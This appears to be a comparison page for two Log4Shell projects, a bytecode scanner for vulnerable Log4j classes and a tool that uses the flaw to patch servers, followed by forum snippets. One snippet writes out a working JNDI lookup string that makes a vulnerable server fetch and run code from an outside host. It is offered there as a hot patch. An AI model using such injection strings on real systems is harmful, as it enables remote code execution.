Log4JShell-Bytecode-Detector
Logout4Shell
| Log4JShell-Bytecode-Detector | Logout4Shell | |
|---|---|---|
| 4 | 34 | |
| 50 | 1,727 | |
| - | - | |
| 0.0 | 2.6 | |
| about 2 years ago | over 2 years ago | |
| Java | Java | |
| MIT License | MIT License |
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Log4JShell-Bytecode-Detector
- If you are hunting for log4j vulns, and you are already considering nested .jars..
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Log4JShell ByteCode Detector
To check if your jar file is affected by the critical CVE-2021-44228, we provide an open-source command line tool https://github.com/CodeShield-Security/Log4JShell-Bytecode-Detector. The tool scans the jar file and compares the classses against a set of pre-computed hashes of the vulnerable Log4j classes. Since our tool only uses the hash and fingerprints of bytecode classes, no source code needs to be available.
- Zero-Day RCE Vulnerability CVE-2021-44228 aka Log4Shell: What We Know So Far
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RCE 0-day exploit found in log4j, a popular Java logging package
u/sanitybit My colleagues have written a detector for the vulnerability: https://github.com/CodeShield-Security/Log4JShell-Bytecode-Detector
Logout4Shell
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Am I able to see which Dropbox accounts have viewed my links?
#1: RCE 0-day exploit found in log4j, a popular Java logging package | 276 comments #2: Godaddy hacked - including admin passwords for both WordPress sites hosted on the platform, as well as passwords for sFTPs, databases and SSL private keys. | 71 comments #3: Log4shell - using the vulnerability to patch the vulnerability - very clever | 64 comments
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Ein etwas anderer Jahresrückblick: 2021 in Google Suchtrends
Hier gibt es eine Impfung gegen Log4Shell. Kein Witz: https://github.com/Cybereason/Logout4Shell
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Log4j : Logpresso patch issue - remove jndi from jar
another option : https://github.com/Cybereason/Logout4Shell
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I heard you can just inject your server with hydroxychloroquine
Yup
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Patching Log4j
This is actually a thing
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Analysis of the 2nd Log4j CVE published earlier (CVE-2021-45046 / Log4Shell2)
We also wrote a Log4Shell payload that will in-memory "hot patch" your server against Log4Shell.
${jndi:ldap://hotpatch.log4shell.com:1389/a}
If you paste that into a vulnerable server (or even throw it into a log statement in your `main` function), that'll patch you against this until you can manage to update properly.
Source code is on GitHub here[0][1] if you want to host it yourself.
(This work is based on Logout4Shell[2], but we rewrote it to fix the bugs, make it work in more places, and also hosted it so that you don't have to muck with DNS and live server stuff.)
0: https://github.com/lunasec-io/lunasec/releases/
1: (Go source code) https://github.com/lunasec-io/lunasec/tree/master/tools/log4...
2: https://github.com/Cybereason/Logout4Shell
- GitHub - Cybereason/Logout4Shell: Use Log4Shell vulnerability to vaccinate a victim server against Log4Shell
- US warns hundreds of millions of devices at risk from newly revealed software vulnerability
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Log4Shell Log4j vulnerability (CVE-2021-44228) – cheat-sheet reference guide
The two examples showcase the potential of the RCE. The JNDI endpoint answers with a serialized java class:
a) https://github.com/Cybereason/Logout4Shell where a class is self-healing the log4j vulnerability by reconfiguring it
b) https://twitter.com/marcioalm/status/1470361495405875200 where the payload is opening an application (calculator) on the host system
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Log4j 0day being exploited (mega thread/ overview)
For those that are interested!
What are some alternatives?
semgrep-rules - Semgrep rules registry
grype - A vulnerability scanner for container images and filesystems
apache-log4j-rce-poc
airsonic-advanced
apache-log4j-rce-poc
interactsh - An OOB interaction gathering server and client library
Apache Log4j 2 - Apache Log4j 2 is a versatile, feature-rich, efficient logging API and backend for Java.
active-scan-plus-plus - ActiveScan++ Burp Suite Plugin
Logout4Shell - Use Log4Shell vulnerability to vaccinate a victim server against Log4Shell
Log4jAttackSurface
log4j-detector - A public open sourced tool. Log4J scanner that detects vulnerable Log4J versions (CVE-2021-44228, CVE-2021-45046, etc) on your file-system within any application. It is able to even find Log4J instances that are hidden several layers deep. Works on Linux, Windows, and Mac, and everywhere else Java runs, too! TAG_OS_TOOL, OWNER_KELLY, DC_PUBLIC